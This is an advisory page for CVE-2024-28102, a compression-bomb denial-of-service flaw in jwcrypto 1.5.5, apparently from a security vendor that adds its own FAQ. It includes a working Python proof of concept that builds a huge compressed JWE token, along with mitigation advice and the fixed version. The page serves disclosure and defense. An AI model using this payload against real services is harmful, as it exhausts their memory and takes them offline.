CVE-2024-28102

Affected version

Vendor: https://github.com/latchset/jwcrypto
Version: 1.5.5

Description

An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.
When the server processes this Token, it will consume a lot of memory and processing time.

Poc

from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))


payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "zip": "DEF",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.

Mitigation

To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also
been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing
attackers from exploiting this vulnerability with high compression ratio tokens.

References

[1] CVE-2024-21319

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2024-28102 has a CVSS score of 6.8 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-28102? CVE-2024-28102 is a medium-severity allocation of resources without limits or throttling vulnerability in jwcrypto (pip), affecting versions <= 1.5.5. It is fixed in 1.5.6. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is CVE-2024-28102? CVE-2024-28102 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of jwcrypto are affected by CVE-2024-28102? jwcrypto (pip) versions <= 1.5.5 is affected.
4. Is there a fix for CVE-2024-28102? Yes. CVE-2024-28102 is fixed in 1.5.6. Upgrade to this version or later.
5. Is CVE-2024-28102 exploitable, and should I be worried? Whether CVE-2024-28102 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-28102 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-28102? Upgrade jwcrypto to 1.5.6 or later.